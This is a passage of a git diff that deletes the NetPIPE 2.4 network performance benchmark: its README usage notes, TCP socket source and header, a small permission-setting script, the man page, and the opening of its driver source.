-For a paper fully describing NetPIPE and sample investigation of
-network performance issues using NetPIPE, see
-http://www.scl.ameslab.gov/netpipe/paper/full.html.
-
-Building NetPIPE
-----------------
-
-NetPIPE is provided with protocol-specific shims for TCP (using the
-Berkeley sockets interface), MPI, and PVM.  If you do not have MPI or
-PVM, don't worry; TCP is the typical shim used.  It should be easy to
-write new interfaces for other protocols based on the examples shown
-by the TCP, MPI and PVM interfaces.
-
-NetPIPE requires an ANSI C compiler.
-
-Review the provided Makefile and change any necessary settings, such
-as the CFLAGS compiler flags, required extra libraries, and MPI or PVM
-library & include file pathnames if you have these communication
-libraries.  If you want to turn on getrusage calls to get CPU time
-required for communication, add "-DHAVE_GETRUSAGE" to the CFLAGS line
-in the Makefile.
-
-Compile NetPIPE with the desired communication interface by using the
-command "make TCP", "make MPI", or "make PVM" as appropriate,
-corresponding to the executable files NPtcp, NPmpi, or NPpvm
-respectively.
-
-Consult the appropriate section below for details on running NetPIPE
-over TCP, MPI, or PVM, and the following section on interpreting the
-results.
-
-Running NPtcp
--------------
-
-For TCP, run a NetPIPE receiver on one computer by issuing the command
-"NPtcp -r".  Run a NetPIPE sender on another computer by issuing the
-command "NPtcp -t -h <receiver's address> -o <output file> -P" and any
-other options as appropriate (each option affects only the process on
-which it is specified -- options are not negotiated between the
-transmitter and the receiver):
-
-	-A: specify buffers alignment e.g. "-A 4096"
-
-	-a: asynchronous receive (a.k.a. preposted receive)
-		This option currently has no effect on TCP
-
-	-b: specify send and receive TCP buffer sizes e.g. "-b 32768"
-
-	-h: specify hostname of receiver e.g. "-h mumblehost"
-
-	-i: specify increment step size e.g. "-i 64"
-		Default is exponential increment calculated at runtime
-
-	-l: lower bound (start value for block size) e.g. "-l 1"
-
-	-O: specify buffer offset e.g. "-O 127"
-
-	-o: specify output filename e.g. "-o output.txt"
-
-	-P: print real-time results on stdout
-
-	-p: specify port e.g. "-p 5150"
-
-	-s: stream option (default mode is "ping pong")
-		If this option is used, it must be specified on both
-		the sending and receiving processes
-
-	-u: upper bound (stop value for block size) e.g. "-u 1048576"
-
-Running NPmpi
--------------
-
-For MPI, how you run NPmpi may depend on the MPI implementation you
-are using.  Assuming you are using the "p4" device (for a cluster of
-individual systems interconnected using TCP/IP) in the Argonne MPICH
-implementation, you could run NPmpi one of two ways.
-
-	If your system's default machine file begins with the two
-	names of the systems you want to test, use "mpirun -np 2
-	NPmpi", followed by any of the NetPIPE options listed below.
-
-	Otherwise, create a file that contains the host names of the
-	two systems you want to include in the test, one host name on
-	each line (assume the file is named "machines.p4").  Then, use
-	the command "mpirun -machinefile machines.p4 -np 2 NPmpi",
-	followed by any of the NetPIPE options listed below.
-
-To find out how to run NPmpi using any other implementation of MPI,
-please consult the implementation's documentation.
-
-The NetPIPE options for MPI are:
-
-	-A: specify buffers alignment e.g. "-A 4096"
-
-	-a: asynchronous receive (a.k.a. preposted receive)
-		May not have any effect, depending on your MPI
-		implementation
-
-	-i: specify increment step size e.g. "-i 64"
-		Default is exponential increment calculated at runtime
-
-	-l: lower bound (start value for block size) e.g. "-l 1"
-
-	-O: specify buffer offset e.g. "-O 127"
-
-	-o: specify output filename e.g. "-o output.txt"
-
-	-P: print real-time results on stdout
-
-	-s: stream option (default mode is "ping pong")
-		If this option is used, it must be specified on both
-		the sending and receiving processes
-
-	-u: upper bound (stop value for block size) e.g. "-u 1048576"
-
-Running NPpvm
--------------
-
-First, start PVM with the command "pvm" on one machine and a second
-machine with the PVM command "add <othermachine>", where
-<othermachine> is the name of the other computer to include in the
-test.  Exit the PVM command line interface.  Start the receiver
-process on one of the machines with the command "NPpvm -r".  Finally,
-start the transmitter process on the other machine with the command
-"NPpvm -t -o <output file> -P" and any other options as appropriate
-(each option affects only the process on which it is specified --
-options are not negotiated between the transmitter and the receiver):
-
-	-A: specify buffers alignment e.g. "-A 4096"
-
-	-a: asynchronous receive (a.k.a. preposted receive)
-		This option has no effect on PVM
-
-	-i: specify increment step size e.g. "-i 64"
-		Default is exponential increment calculated at runtime
-
-	-l: lower bound (start value for block size) e.g. "-l 1"
-
-	-O: specify buffer offset e.g. "-O 127"
-
-	-o: specify output filename e.g. "-o output.txt"
-
-	-P: print real-time results on stdout
-
-	-s: stream option (default mode is "ping pong")
-		If this option is used, it must be specified on both
-		the sending and receiving processes
-
-	-u: upper bound (stop value for block size) e.g. "-u 1048576"
-
-
-Interpreting the Results
-------------------------
-
-NetPIPE's output file contains five columns: time to transfer the block,
-bits per second, bits in block, bytes in block, and variance.  These
-columns may be graphed to represent and compare the network's
-performance.  For example, the "network signature" graph can be
-created by graphing the time column versus the bits per second column
-(see the NetPIPE report at the URL above for the details why this
-graph is important and how to interpret it).  The more traditional
-"throughput versus block size" graph can be created by
-graphing the bytes column versus the bits per second column.
-
-See http://www.scl.ameslab.gov/Projects/ClusterCookbook/nprun.html for
-a detailed tutorial on running NetPIPE and graphing the results.
-
-Help
-----
-
-NetPIPE is currently maintained by Guy Helmer.  Email
-"ghelmer@scl.ameslab.gov" or call 515-294-9469 for help or
-suggestions.
-
-Changes
--------
-
-version 2.4 (12/16/99)
-   * Add getrusage calls to get CPU time used by communication if
-     HAVE_GETRUSAGE is defined (be aware that no studies have been
-     conducted to test the accuracy of results across different systems)
-   * Use "unsigned int" instead of "unsigned long" to communicate 32-bit
-     integers in TCP.c (this solves interoperability problems between
-     Compaq/DEC Alphas and most other systems)
-   * Add dummy "echo" commands after TCP, MPI, and PVM targets in the
-     Makefile.  Some implementations of make(1) (such as those found
-     in Linux distributions) interpret the targets with no following
-     statements as a rule to do something silly like
-     "cc -O -o TCP TCP.c" after the dependency is satisfied.
-
-version 2.3 (9/24/98)
-   * Add PVM interface contributed by Clark E. Dorman <dorman@s3i.com>
-
-   * Revamp README file with instructions for NPmpi and NPpvm, and
-     clarify some instructions for NPtcp
-
-version 2.2 (8/21/98):
-   * Carefully check all return values from write(2) and read(2)
-     system calls in TCP.c.  Handle short reads properly.  Make the Sync()
-     function transmit and receive a useful string which can be
-     checked for validity.
-
-   * Correct the overloading of SendTime() and RecvTime() functions
-     by breaking out SendRepeat() and RecvRepeat() as separate
-     functions.
-
-   * Handle systems whose accept(2) system call does not carry socket
-     options over from the listening socket.  In particular, set the
-     TCP_NODELAY flag and socket buffers on an accepted socket.
diff --git a/tools/netpipe-2.4/TCP.c b/tools/netpipe-2.4/TCP.c
deleted file mode 100644
index 2df3a3e..0000000
--- a/tools/netpipe-2.4/TCP.c
+++ /dev/null
@@ -1,357 +0,0 @@
-/*****************************************************************************/
-/* "NetPIPE" -- Network Protocol Independent Performance Evaluator.          */
-/* Copyright 1997, 1998 Iowa State University Research Foundation, Inc.      */
-/*                                                                           */
-/* This program is free software; you can redistribute it and/or modify      */
-/* it under the terms of the GNU General Public License as published by      */
-/* the Free Software Foundation.  You should have received a copy of the     */
-/* GNU General Public License along with this program; if not, write to the  */
-/* Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.   */
-/*                                                                           */
-/*     * TCP.c              ---- TCP calls source                            */
-/*     * TCP.h              ---- Include file for TCP calls and data structs */
-/*****************************************************************************/
-#include    "netpipe.h"
-
-int Setup(ArgStruct * p)
-{
-	int tr, one = 1;	/* tr==1 if process is a transmitter */
-	int sockfd;
-	struct sockaddr_in *lsin1, *lsin2;	/* ptr to sockaddr_in in ArgStruct */
-	char *host;
-	struct hostent *addr;
-	struct protoent *proto;
-
-	host = p->host;		/* copy ptr to hostname */
-	tr = p->tr;		/* copy tr indicator */
-
-	lsin1 = &(p->prot.sin1);
-	lsin2 = &(p->prot.sin2);
-
-	memset((char *)lsin1, 0x00, sizeof(*lsin1));
-	memset((char *)lsin2, 0x00, sizeof(*lsin2));
-
-	if ((sockfd = socket(AF_INET, SOCK_STREAM, 0)) < 0) {
-		printf("NetPIPE: can't open stream socket! errno=%d\n", errno);
-		exit(-4);
-	}
-
-	if (!(proto = getprotobyname("tcp"))) {
-		printf("NetPIPE: protocol 'tcp' unknown!\n");
-		exit(555);
-	}
-
-	/* Attempt to set TCP_NODELAY */
-	if (setsockopt(sockfd, proto->p_proto, TCP_NODELAY, &one, sizeof(one)) <
-	    0) {
-		printf("NetPIPE: setsockopt: TCP_NODELAY failed! errno=%d\n",
-		       errno);
-		exit(556);
-	}
-
-	/* If requested, set the send and receive buffer sizes */
-	if (p->prot.sndbufsz > 0) {
-		printf("Send and Receive Buffers set to %d bytes\n",
-		       p->prot.sndbufsz);
-		if (setsockopt
-		    (sockfd, SOL_SOCKET, SO_SNDBUF, &(p->prot.sndbufsz),
-		     sizeof(p->prot.sndbufsz)) < 0) {
-			printf
-			    ("NetPIPE: setsockopt: SO_SNDBUF failed! errno=%d\n",
-			     errno);
-			exit(556);
-		}
-		if (setsockopt
-		    (sockfd, SOL_SOCKET, SO_RCVBUF, &(p->prot.rcvbufsz),
-		     sizeof(p->prot.rcvbufsz)) < 0) {
-			printf
-			    ("NetPIPE: setsockopt: SO_RCVBUF failed! errno=%d\n",
-			     errno);
-			exit(556);
-		}
-	}
-
-	if (tr) {		/* if client i.e., Sender */
-
-		if (atoi(host) > 0) {	/* Numerical IP address */
-			lsin1->sin_family = AF_INET;
-			lsin1->sin_addr.s_addr = inet_addr(host);
-
-		} else {
-
-			if ((addr = gethostbyname(host)) == NULL) {
-				printf("NetPIPE: invalid hostname '%s'\n",
-				       host);
-				exit(-5);
-			}
-
-			lsin1->sin_family = addr->h_addrtype;
-			memcpy((char *)&(lsin1->sin_addr.s_addr), addr->h_addr,
-			       addr->h_length);
-		}
-
-		lsin1->sin_port = htons(p->port);
-
-	} else {		/* we are the receiver (server) */
-
-		memset((char *)lsin1, 0x00, sizeof(*lsin1));
-		lsin1->sin_family = AF_INET;
-		lsin1->sin_addr.s_addr = htonl(INADDR_ANY);
-		lsin1->sin_port = htons(p->port);
-
-		if (bind(sockfd, (struct sockaddr *)lsin1, sizeof(*lsin1)) < 0) {
-			printf
-			    ("NetPIPE: server: bind on local address failed! errno=%d",
-			     errno);
-			exit(-6);
-		}
-
-	}
-
-	if (tr)
-		p->commfd = sockfd;
-	else
-		p->servicefd = sockfd;
-
-	return (0);
-}
-
-static int readFully(int fd, void *obuf, int len)
-{
-	int bytesLeft = len;
-	char *buf = (char *)obuf;
-	int bytesRead = 0;
-
-	while (bytesLeft > 0 &&
-	       (bytesRead = read(fd, (void *)buf, bytesLeft)) > 0) {
-		bytesLeft -= bytesRead;
-		buf += bytesRead;
-	}
-	if (bytesRead <= 0)
-		return bytesRead;
-	return len;
-}
-
-void Sync(ArgStruct * p)
-{
-	char s[] = "SyncMe";
-	char response[7];
-
-	if (write(p->commfd, s, strlen(s)) < 0 ||
-	    readFully(p->commfd, response, strlen(s)) < 0) {
-		perror
-		    ("NetPIPE: error writing or reading synchronization string");
-		exit(3);
-	}
-	if (strncmp(s, response, strlen(s))) {
-		fprintf(stderr, "NetPIPE: Synchronization string incorrect!\n");
-		exit(3);
-	}
-}
-
-void PrepareToReceive(ArgStruct * p)
-{
-	/*
-	   The Berkeley sockets interface doesn't have a method to pre-post
-	   a buffer for reception of data.
-	 */
-}
-
-void SendData(ArgStruct * p)
-{
-	int bytesWritten, bytesLeft;
-	char *q;
-
-	bytesLeft = p->bufflen;
-	bytesWritten = 0;
-	q = p->buff;
-	while (bytesLeft > 0 &&
-	       (bytesWritten = write(p->commfd, q, bytesLeft)) > 0) {
-		bytesLeft -= bytesWritten;
-		q += bytesWritten;
-	}
-	if (bytesWritten == -1) {
-		printf("NetPIPE: write: error encountered, errno=%d\n", errno);
-		exit(401);
-	}
-}
-
-void RecvData(ArgStruct * p)
-{
-	int bytesLeft;
-	int bytesRead;
-	char *q;
-
-	bytesLeft = p->bufflen;
-	bytesRead = 0;
-	q = p->buff1;
-	while (bytesLeft > 0 && (bytesRead = read(p->commfd, q, bytesLeft)) > 0) {
-		bytesLeft -= bytesRead;
-		q += bytesRead;
-	}
-	if (bytesLeft > 0 && bytesRead == 0) {
-		printf
-		    ("NetPIPE: \"end of file\" encountered on reading from socket\n");
-	} else if (bytesRead == -1) {
-		printf("NetPIPE: read: error encountered, errno=%d\n", errno);
-		exit(401);
-	}
-}
-
-void SendTime(ArgStruct * p, double *t)
-{
-	unsigned int ltime, ntime;
-
-	/*
-	   Multiply the number of seconds by 1e6 to get time in microseconds
-	   and convert value to an unsigned 32-bit integer.
-	 */
-	ltime = (unsigned int)(*t * 1.e6);
-
-	/* Send time in network order */
-	ntime = htonl(ltime);
-	if (write(p->commfd, (char *)&ntime, sizeof(unsigned int)) < 0) {
-		printf("NetPIPE: write failed in SendTime: errno=%d\n", errno);
-		exit(301);
-	}
-}
-
-void RecvTime(ArgStruct * p, double *t)
-{
-	unsigned int ltime, ntime;
-	int bytesRead;
-
-	bytesRead = readFully(p->commfd, (void *)&ntime, sizeof(unsigned int));
-	if (bytesRead < 0) {
-		printf("NetPIPE: read failed in RecvTime: errno=%d\n", errno);
-		exit(302);
-	} else if (bytesRead != sizeof(unsigned int)) {
-		fprintf(stderr,
-			"NetPIPE: partial read in RecvTime of %d bytes\n",
-			bytesRead);
-		exit(303);
-	}
-	ltime = ntohl(ntime);
-
-	/* Result is ltime (in microseconds) divided by 1.0e6 to get seconds */
-	*t = (double)ltime / 1.0e6;
-}
-
-void SendRepeat(ArgStruct * p, int rpt)
-{
-	unsigned int lrpt, nrpt;
-
-	lrpt = rpt;
-	/* Send repeat count as an unsigned 32 bit integer in network order */
-	nrpt = htonl(lrpt);
-	if (write(p->commfd, (void *)&nrpt, sizeof(unsigned int)) < 0) {
-		printf("NetPIPE: write failed in SendRepeat: errno=%d\n",
-		       errno);
-		exit(304);
-	}
-}
-
-void RecvRepeat(ArgStruct * p, int *rpt)
-{
-	unsigned int lrpt, nrpt;
-	int bytesRead;
-
-	bytesRead = readFully(p->commfd, (void *)&nrpt, sizeof(unsigned int));
-	if (bytesRead < 0) {
-		printf("NetPIPE: read failed in RecvRepeat: errno=%d\n", errno);
-		exit(305);
-	} else if (bytesRead != sizeof(unsigned int)) {
-		fprintf(stderr,
-			"NetPIPE: partial read in RecvRepeat of %d bytes\n",
-			bytesRead);
-		exit(306);
-	}
-	lrpt = ntohl(nrpt);
-
-	*rpt = lrpt;
-}
-
-int Establish(ArgStruct * p)
-{
-	socklen_t clen;
-	int one = 1;
-	struct protoent *proto;
-
-	clen = sizeof(p->prot.sin2);
-	if (p->tr) {
-		if (connect(p->commfd, (struct sockaddr *)&(p->prot.sin1),
-			    sizeof(p->prot.sin1)) < 0) {
-			printf("Client: Cannot Connect! errno=%d\n", errno);
-			exit(-10);
-		}
-	} else {
-		/* SERVER */
-		listen(p->servicefd, 5);
-		p->commfd =
-		    accept(p->servicefd, (struct sockaddr *)&(p->prot.sin2),
-			   &clen);
-
-		if (p->commfd < 0) {
-			printf("Server: Accept Failed! errno=%d\n", errno);
-			exit(-12);
-		}
-
-		/*
-		   Attempt to set TCP_NODELAY. TCP_NODELAY may or may not be propagated
-		   to accepted sockets.
-		 */
-		if (!(proto = getprotobyname("tcp"))) {
-			printf("unknown protocol!\n");
-			exit(555);
-		}
-
-		if (setsockopt(p->commfd, proto->p_proto, TCP_NODELAY,
-			       &one, sizeof(one)) < 0) {
-			printf("setsockopt: TCP_NODELAY failed! errno=%d\n",
-			       errno);
-			exit(556);
-		}
-
-		/* If requested, set the send and receive buffer sizes */
-		if (p->prot.sndbufsz > 0) {
-			printf
-			    ("Send and Receive Buffers on accepted socket set to %d bytes\n",
-			     p->prot.sndbufsz);
-			if (setsockopt
-			    (p->commfd, SOL_SOCKET, SO_SNDBUF,
-			     &(p->prot.sndbufsz),
-			     sizeof(p->prot.sndbufsz)) < 0) {
-				printf
-				    ("setsockopt: SO_SNDBUF failed! errno=%d\n",
-				     errno);
-				exit(556);
-			}
-			if (setsockopt
-			    (p->commfd, SOL_SOCKET, SO_RCVBUF,
-			     &(p->prot.rcvbufsz),
-			     sizeof(p->prot.rcvbufsz)) < 0) {
-				printf
-				    ("setsockopt: SO_RCVBUF failed! errno=%d\n",
-				     errno);
-				exit(556);
-			}
-		}
-	}
-	return (0);
-}
-
-int CleanUp(ArgStruct * p)
-{
-	char *quit = "QUIT";
-	if (p->tr) {
-		write(p->commfd, quit, 5);
-		read(p->commfd, quit, 5);
-		close(p->commfd);
-	} else {
-		read(p->commfd, quit, 5);
-		write(p->commfd, quit, 5);
-		close(p->commfd);
-		close(p->servicefd);
-	}
-	return (0);
-}
diff --git a/tools/netpipe-2.4/TCP.h b/tools/netpipe-2.4/TCP.h
deleted file mode 100644
index ec2ef52..0000000
--- a/tools/netpipe-2.4/TCP.h
+++ /dev/null
@@ -1,21 +0,0 @@
-/*
-  Define the protocol structure to be used by NetPIPE for TCP.
-  */
-
-#include <netdb.h>
-#include <sys/socket.h>
-#include <netinet/in.h>
-#include <netinet/tcp.h>
-#include <arpa/inet.h>
-
-typedef struct protocolstruct ProtocolStruct;
-struct protocolstruct
-{
-    struct sockaddr_in      sin1,   /* socket structure #1              */
-                            sin2;   /* socket structure #2              */
-    int                     nodelay;  /* Flag for TCP nodelay           */
-    struct hostent          *addr;    /* Address of host                */
-    int                     sndbufsz, /* Size of TCP send buffer        */
-                            rcvbufsz; /* Size of TCP receive buffer     */
-};
-
diff --git a/tools/netpipe-2.4/chmod.sh b/tools/netpipe-2.4/chmod.sh
deleted file mode 100644
index b87c79d..0000000
--- a/tools/netpipe-2.4/chmod.sh
+++ /dev/null
@@ -1,14 +0,0 @@
-#!/bin/sh
-whoami | grep root > /dev/null
-if [ $? -eq 0 ];then
-  chmod 755 $1
-else
- echo ""
- echo "		         ************** WARNING **************"
- echo "		Cannot change permission or ownership of \"$1\"."
- echo "		           Tests in this directory will fail."
- echo "		              Run "make install" as root."
- echo "		         *************************************"
- sleep 2
-fi
-
diff --git a/tools/netpipe-2.4/netpipe.1 b/tools/netpipe-2.4/netpipe.1
deleted file mode 100644
index 54862a2..0000000
--- a/tools/netpipe-2.4/netpipe.1
+++ /dev/null
@@ -1,394 +0,0 @@
-.\" -*- nroff -*-
-.\"
-.\" NetPIPE -- Network Protocol Independent Performance Evaluator.
-.\" Copyright 1997, 1998 Iowa State University Research Foundation, Inc.
-.\"
-.\" This program is free software; you can redistribute it and/or modify
-.\" it under the terms of the GNU General Public License as published by
-.\" the Free Software Foundation.  You should have received a copy of the
-.\" GNU General Public License along with this program; if not, write to the
-.\" Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
-.\"
-.\" netpipe.1
-.\" Created: Mon Jun 15 1998 by Guy Helmer
-.\"
-.TH netpipe 1 "June 15, 1998" "NetPIPE" "netpipe"
-
-.SH NAME
-NetPIPE \- network protocol independent performance evaluator
-
-.SH SYNOPSIS
-.B NPtcp
-[\c
-.BI \-A \ buffer_alignment\fR\c
-]
-[\c
-.BR \-a \c
-]
-[\c
-.BI \-b \ TCP_buffer_size\fR\c
-]
-[\c
-.BI \-h \ host_name\fR\c
-]
-[\c
-.BI \-i \ increment\fR\c
-]
-[\c
-.BI \-l \ starting_msg_size\fR\c
-]
-[\c
-.BI \-O \ buffer_offset\fR\c
-]
-[\c
-.BI \-o \ output_filename\fR\c
-]
-[\c
-.BR \-P \c
-]
-[\c
-.BI \-p \ port\fR\c
-]
-[\c
-.BR \-r \c
-]
-[\c
-.BR \-s \c
-]
-[\c
-.BR \-t \c
-]
-[\c
-.BI \-u \ ending_msg_size\fR\c
-]
-
-.PP
-
-.B NPmpi
-[\c
-.BI \-A \ buffer_alignment\fR\c
-]
-[\c
-.BR \-a \c
-]
-[\c
-.BI \-i \ increment\fR\c
-]
-[\c
-.BI \-l \ starting_msg_size\fR\c
-]
-[\c
-.BI \-O \ buffer_offset\fR\c
-]
-[\c
-.BI \-o \ output_filename\fR\c
-]
-[\c
-.BR \-P \c
-]
-[\c
-.BR \-s \c
-]
-[\c
-.BI \-u \ ending_msg_size\fR\c
-]
-
-.PP
-
-.B NPpvm
-[\c
-.BI \-A \ buffer_alignment\fR\c
-]
-[\c
-.BR \-a \c
-]
-[\c
-.BI \-i \ increment\fR\c
-]
-[\c
-.BI \-l \ starting_msg_size\fR\c
-]
-[\c
-.BI \-O \ buffer_offset\fR\c
-]
-[\c
-.BI \-o \ output_filename\fR\c
-]
-[\c
-.BR \-P \c
-]
-[\c
-.BR \-r \c
-]
-[\c
-.BR \-s \c
-]
-[\c
-.BR \-t \c
-]
-[\c
-.BI \-u \ ending_msg_size\fR\c
-]
-
-.SH DESCRIPTION
-.PP
-.B NetPIPE
-is a protocol independent performance tool that encapsulates
-the best of ttcp and netperf and visually represents the network
-performance under a variety of conditions. By taking the end-to-end
-application view of a network,
-.B NetPIPE
-clearly shows the overhead
-associated with different protocol layers.
-.B NetPIPE
-answers such questions as:
-.RS
-How soon will a given data block of size k arrive at its destination?
-.PP
-Which network and protocol will transmit size k blocks the fastest?
-.PP
-What is a given network's effective maximum throughput and saturation
-level?
-.PP
-Does there exist a block size k for which the throughput is maximized?
-.PP
-How much communication overhead is due to the network communication
-protocol layer(s)?
-.PP
-How quickly will a small (< 1 kbyte) control message arrive, and which
-network and protocol are best for this purpose?
-.RE
-.PP
-.B NetPIPE
-is provided with interfaces for TCP, MPI, and PVM, but TCP is the most
-commonly used interface for general network testing purposes.  It
-should be easy to write new interfaces for other reliable protocols based
-on the examples provided by the TCP, MPI and PVM interfaces.
-.SH TESTING TCP
-.PP
-Typical use for TCP involves running the TCP NetPIPE receiver on one
-system with the command
-.PP
-.Ex
-NPtcp \-r
-.Ee
-.PP
-and running the TCP NetPIPE transmitter on another system with the
-command
-.PP
-.Ex
-NPtcp \-h receiver_hostname \-o output_filename \-P \-t
-.Ee
-.PP
-If any options are used that modify the test protocol, including \-i,
-\-l, \-p, \-s, and \-u, those parameters
-.B must
-be used on both the transmitter and the receiver, or the test
-will not run properly.
-.SH TESTING PVM
-.PP
-Typical use for PVM first requires starting PVM with the command
-.PP
-.Ex
-pvm
-.Ee
-.PP
-and adding a second machine with the PVM command
-.PP
-.Ex
-add othermachine
-.Ee
-.PP
-(then exit the PVM command line interface).  Then run the PVM NetPIPE
-receiver on one system with the command
-.PP
-.Ex
-NPpvm \-r
-.Ee
-.PP
-and run the TCP NetPIPE transmitter on the other system with the
-command
-.PP
-.Ex
-NPpvm \-t \-o output_filename \-P
-.Ee
-.PP
-If any options are used that modify the test protocol, including \-i,
-\-l, \-p, \-s, and \-u, those parameters
-.B must
-be used on both the transmitter and the receiver, or the test
-will not run properly.
-.SH TESTING MPI
-.PP
-Use of the MPI interface for NetPIPE depends on the MPI implementation
-used.  For the Argonne MPICH implementation using the p4 device (for a
-cluster of individual systems interconnected using TCP/IP), create a
-file that contains the hostnames of the two systems you want to
-include in the test, with one hostname on each line of the file
-(assume the file is named "machines.p4").  Then, use the command
-.PP
-.Ex
-mpirun \-machinefile machines.p4 \-np 2 NPmpi \-o output_filename \-P
-.Ee
-.PP
-to start the test.  MPICH will start an NPmpi process on each of the
-two selected machines and the test will begin.
-.SH TESTING METHODOLOGY
-.PP
-.B NetPIPE
-tests network performance by sending a number of messages at each
-block size, starting from the lower bound on message size.
-.B NetPIPE
-increments the message size until the upper bound on message size is
-reached or the time to transmit a block exceeds one second, which ever
-occurs first.
-.PP
-.B NetPIPE\c
-\'s output file may be graphed with a program such as
-.B gnuplot(1)
-to view the results of the test.
-.B NetPIPE\c
-\'s
-output file contains five columns: time to transfer the block, bits
-per second, bits in block, bytes in block, and variance.  These
-columns may be graphed to represent and compare the network's
-performance.  For example, the
-.B network signature graph
-can be created by graphing time versus bits per second.  Sample
-.B gnuplot(1)
-commands for such a graph would be
-.PP
-.Ex
-set logscale x
-.Ee
-.PP
-.Ex
-plot "NetPIPE.out" using 1:2
-.Ee
-.PP
-The more traditional
-.B throughput versus block size
-graph can be created by graphing bytes versus bits per second.
-Sample
-.B gnuplot(1)
-commands for such a graph would be
-.PP
-.Ex
-set logscale x
-.Ee
-.PP
-.Ex
-plot "NetPIPE.out" using 4:2
-.Ee
-
-.ne 5
-.SH OPTIONS
-.TP
-.B \-A \ \fIalignment\fR
-Align buffers to the given boundary.  For example, a value of 4 would
-align buffers to 4-byte (word) boundaries.
-.ne 3
-.TP
-.B \-a
-Specify asynchronous receive (a.k.a. preposted receive), if the
-underlying protocol supports it.
-.ne 3
-.TP
-.BI \-b \ \fIbuffer_size\fR
-[TCP only] Set send and receive TCP buffer sizes.
-.ne 3
-.TP
-.BI \-h \ \fIhostname\fR
-[TCP transmitter only] Specify name of host to which to connect.
-.ne 3
-.TP
-.BI \-i \ \fIincrement\fR
-Specify increment step size (default is an exponentially increasing
-increment).
-.ne 3
-.TP
-.BI \-l \ \fIstart_msg_size\fR
-Specify the starting message size.  The test will start with messages
-of this size and increment, either exponentially or with an increment
-specified by the
-.B \-i
-flag, until a block requires more than one second to transmit or the
-ending message size specified by the
-.B \-u
-flag is reached, which ever occurs first.
-.ne 3
-.TP
-.BI \-O \ \fIbuffer_offset\fR
-Specify offset of buffers from alignment.  For example, specifying an
-alignment of 4 (with \-A) and an offset of 1 would align buffers to
-the first byte after a word boundary.
-.ne 3
-.TP
-.BI \-o \ \fIoutput_filename\fR
-Specify output filename.  By default, the output filename is
-.IR NetPIPE.out .
-.ne 3
-.TP
-.B \-P
-Print results on screen during execution of the test.  By default,
-NetPIPE is silent during execution of the test.
-.ne 3
-.TP
-.BI \-p \ \fIport_number\fR
-[TCP only] Specify TCP port number to which to connect (for the
-transmitter) or the port on which to listen for connections (for the
-receiver).
-.ne 3
-.TP
-.B \-r
-[TCP only] This process is a TCP receiver.
-.ne 3
-.TP
-.B \-s
-Set streaming mode: data is only transmitted in one direction.  By
-default, the transmitter measures the time taken as each data block is
-sent from the transmitter to the receiver and back, then divides the
-round-trip time by two to obtain the time taken by the message to
-travel in each direction.  In streaming mode, the receiver measures
-the time required to receive the message and sends the measured time
-back to the transmitter for posting to the output file.
-.ne 3
-.TP
-.B \-t
-[TCP only] This process is a TCP transmitter.
-.ne 3
-.TP
-.BI \-u \ \fIending_msg_size\fR
-Specify the ending message size.  By default, the test will end when
-the time to transmit a block exceeds one second.  If
-.B \-u
-is specified, the test will end when either the test time exceeds one
-second or the ending message size is reached, which ever occurs first.
-
-.ne 3
-.SH FILES
-.TP
-.I NetPIPE.out
-Default output file for
-.BR NetPIPE .
-Overridden by the
-.B \-o
-option.
-
-.SH AUTHOR
-.PP
-Quinn Snell <snell@cs.byu.edu>, Guy Helmer <ghelmer@scl.ameslab.gov>,
-and others.
-.PP
-Clark Dorman <dorman@s3i.com> contributed the PVM interface.
-.PP
-Information about
-.B NetPIPE
-can be found on the World Wide Web at
-http://www.scl.ameslab.gov/netpipe/.
-
-.SH BUGS
-By nature,
-.B NetPIPE
-will use as much of the network bandwidth as possible.  Other users of
-the network may notice the effect.
diff --git a/tools/netpipe-2.4/netpipe.c b/tools/netpipe-2.4/netpipe.c
deleted file mode 100644
index a7d6507..0000000
--- a/tools/netpipe-2.4/netpipe.c
+++ /dev/null
@@ -1,522 +0,0 @@
-/*****************************************************************************/
-/* "NetPIPE" -- Network Protocol Independent Performance Evaluator.          */
-/* Copyright 1997, 1998 Iowa State University Research Foundation, Inc.      */
-/*                                                                           */
-/* This program is free software; you can redistribute it and/or modify      */
-/* it under the terms of the GNU General Public License as published by      */
-/* the Free Software Foundation.  You should have received a copy of the     */
-/* GNU General Public License along with this program; if not, write to the  */
-/* Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.   */
-/*                                                                           */
-/* Files needed for use:                                                     */
-/*     * netpipe.c          ---- Driver source                               */
-/*     * netpipe.h          ---- General include file                        */
-/*     * TCP.c              ---- TCP calls source                            */
-/*     * TCP.h              ---- Include file for TCP calls and data structs */
-/*     * MPI.c              ---- MPI calls source                            */
-/*     * MPI.h              ---- Include file for MPI calls and data structs */
-/*     * PVM.c              ---- PVM calls source                            */
-/*     * PVM.h              ---- Include file for PVM calls and data structs */
-/*****************************************************************************/
-#include "netpipe.h"
-
-extern char *optarg;
-
-int main(int argc, char *argv[])
-{
-	FILE *out;		/* Output data file                          */
-	char s[255];		/* Generic string                            */
-	char *memtmp;
-	char *memtmp1;
-
-	int c,			/* option index                              */
-	 i, j, n, nq,		/* Loop indices                              */
-	 asyncReceive = 0,	/* Pre-post a receive buffer?                */
-	    bufoffset = 0,	/* Align buffer to this                      */
-	    bufalign = 16 * 1024,	/* Boundary to align buffer to              */
-	    errFlag,		/* Error occurred in inner testing loop      */
-	    nrepeat,		/* Number of time to do the transmission     */
-	    len,		/* Number of bytes to be transmitted         */
-	    inc = 0,		/* Increment value                           */
-	    trans = -1,		/* Transmitter flag. 1 if transmitting.      */
-	    detailflag = 0,	/* Set to examine the signature curve detail */
-	    bufszflag = 0,	/* Set to change the TCP socket buffer size  */
-	    pert,		/* Perturbation value                        */
-	    start = 1,		/* Starting value for signature curve        */
-	    end = MAXINT,	/* Ending value for signature curve          */
-	    streamopt = 0,	/* Streaming mode flag                       */
-	    printopt = 0;	/* Debug print statements flag               */
-
-	ArgStruct args;		/* Argumentsfor all the calls                */
-
-	double t, t0, t1, t2,	/* Time variables                            */
-	 tlast,			/* Time for the last transmission            */
-	 latency;		/* Network message latency                   */
-
-	Data bwdata[NSAMP];	/* Bandwidth curve data                      */
-
-	short port = DEFPORT;	/* Port number for connection                */
-#ifdef HAVE_GETRUSAGE
-	struct rusage prev_rusage, curr_rusage;	/* Resource usage                */
-	double user_time, sys_time;	/* User & system time used                   */
-	double best_user_time, best_sys_time;	/* Total user & system time used     */
-	double ut1, ut2, st1, st2;	/* User & system time ctrs for variance  */
